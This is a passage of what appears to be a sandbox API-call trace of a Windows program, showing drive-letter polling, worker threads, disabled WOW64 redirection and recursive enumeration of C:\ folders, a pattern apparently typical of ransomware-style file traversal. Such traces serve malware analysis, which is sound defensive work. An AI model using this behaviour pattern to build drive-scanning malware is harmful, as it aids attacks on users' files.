[0082.809] Sleep (dwMilliseconds=0x3e8) [0084.605] GetLogicalDrives () returned 0x4 [0084.605] Sleep (dwMilliseconds=0x3e8) [0086.012] GetLogicalDrives () returned 0x4 [0086.012] Sleep (dwMilliseconds=0x3e8) [0087.376] GetLogicalDrives () returned 0x4 [0087.377] Sleep (dwMilliseconds=0x3e8) [0088.727] GetLogicalDrives () returned 0x4 [0088.727] Sleep (dwMilliseconds=0x3e8) Thread: id = 18 os_tid = 0x7f0 [0060.381] GetProcessHeap () returned 0x550000 [0060.381] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x38) returned 0x56b4f8 [0060.381] GetProcessHeap () returned 0x550000 [0060.381] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x18) returned 0x56e300 [0060.382] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x144 [0060.382] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x150 [0060.382] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x154 [0060.382] GetProcessHeap () returned 0x550000 [0060.382] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x577e98 [0060.383] GetProcessHeap () returned 0x550000 [0060.383] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x587ea0 [0060.384] GetProcessHeap () returned 0x550000 [0060.384] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x50) returned 0x570aa8 [0060.384] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76e10000 [0060.384] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0060.384] Wow64DisableWow64FsRedirection (in: OldValue=0x27ffcf4 | out: OldValue=0x27ffcf4*=0x0) returned 1 [0060.385] GetProcessHeap () returned 0x550000 [0060.385] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570aa8 | out: hHeap=0x550000) returned 1 [0060.385] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x2d53ac, lpParameter=0x27ffcfc, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x158 [0060.387] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x2d53ac, lpParameter=0x27ffcfc, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c [0060.390] GetProcessHeap () returned 0x550000 [0060.390] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x597ea8 [0060.391] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x27ffa70 | out: lpFindFileData=0x27ffa70*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x56fd30 [0060.393] GetProcessHeap () returned 0x550000 [0060.393] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5a7eb0 [0060.393] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570aa8 [0060.394] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.394] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0060.394] GetProcessHeap () returned 0x550000 [0060.394] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b8ec0 [0060.395] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56ec18 [0060.396] FindNextFileW (in: hFindFile=0x56ec18, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.396] FindNextFileW (in: hFindFile=0x56ec18, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0060.396] SetEvent (hEvent=0x150) returned 1 [0060.396] ResetEvent (hEvent=0x154) returned 1 [0060.397] FindNextFileW (in: hFindFile=0x56ec18, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0060.397] FindClose (in: hFindFile=0x56ec18 | out: hFindFile=0x56ec18) returned 1 [0060.397] GetProcessHeap () returned 0x550000 [0060.397] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b8ec0 | out: hHeap=0x550000) returned 1 [0060.397] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0060.397] FindClose (in: hFindFile=0x570aa8 | out: hFindFile=0x570aa8) returned 1 [0060.397] GetProcessHeap () returned 0x550000 [0060.397] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5a7eb0 | out: hHeap=0x550000) returned 1 [0060.398] FindNextFileW (in: hFindFile=0x56fd30, lpFindFileData=0x27ffa70 | out: lpFindFileData=0x27ffa70*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0060.398] GetProcessHeap () returned 0x550000 [0060.398] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5a8eb8 [0060.398] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570aa8 [0060.398] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.399] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0060.399] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0060.399] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0060.400] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0060.400] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0060.401] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0060.401] GetProcessHeap () returned 0x550000 [0060.401] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b9ec8 [0060.401] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56ec18 [0060.403] FindNextFileW (in: hFindFile=0x56ec18, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.404] FindNextFileW (in: hFindFile=0x56ec18, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.404] FindNextFileW (in: hFindFile=0x56ec18, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0060.404] FindClose (in: hFindFile=0x56ec18 | out: hFindFile=0x56ec18) returned 1 [0060.404] GetProcessHeap () returned 0x550000 [0060.404] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b9ec8 | out: hHeap=0x550000) returned 1 [0060.404] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0060.405] GetProcessHeap () returned 0x550000 [0060.405] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b9ec8 [0060.405] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56ec18 [0060.405] FindNextFileW (in: hFindFile=0x56ec18, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.405] FindNextFileW (in: hFindFile=0x56ec18, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.406] FindNextFileW (in: hFindFile=0x56ec18, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0060.406] FindClose (in: hFindFile=0x56ec18 | out: hFindFile=0x56ec18) returned 1 [0060.406] GetProcessHeap () returned 0x550000 [0060.406] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b9ec8 | out: hHeap=0x550000) returned 1 [0060.407] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0060.407] GetProcessHeap () returned 0x550000 [0060.407] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b9ec8 [0060.407] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56ec18 [0060.409] FindNextFileW (in: hFindFile=0x56ec18, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.409] FindNextFileW (in: hFindFile=0x56ec18, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.410] FindNextFileW (in: hFindFile=0x56ec18, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0060.410] FindClose (in: hFindFile=0x56ec18 | out: hFindFile=0x56ec18) returned 1 [0060.410] GetProcessHeap () returned 0x550000 [0060.410] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b9ec8 | out: hHeap=0x550000) returned 1 [0060.410] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0060.410] GetProcessHeap () returned 0x550000 [0060.410] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b9ec8 [0060.411] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56ec18 [0060.411] FindNextFileW (in: hFindFile=0x56ec18, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.411] FindNextFileW (in: hFindFile=0x56ec18, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.412] FindNextFileW (in: hFindFile=0x56ec18, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0060.412] FindClose (in: hFindFile=0x56ec18 | out: hFindFile=0x56ec18) returned 1 [0060.412] GetProcessHeap () returned 0x550000 [0060.412] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b9ec8 | out: hHeap=0x550000) returned 1 [0060.412] FindNextFileW (in: hFindFile=0x570aa8, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, 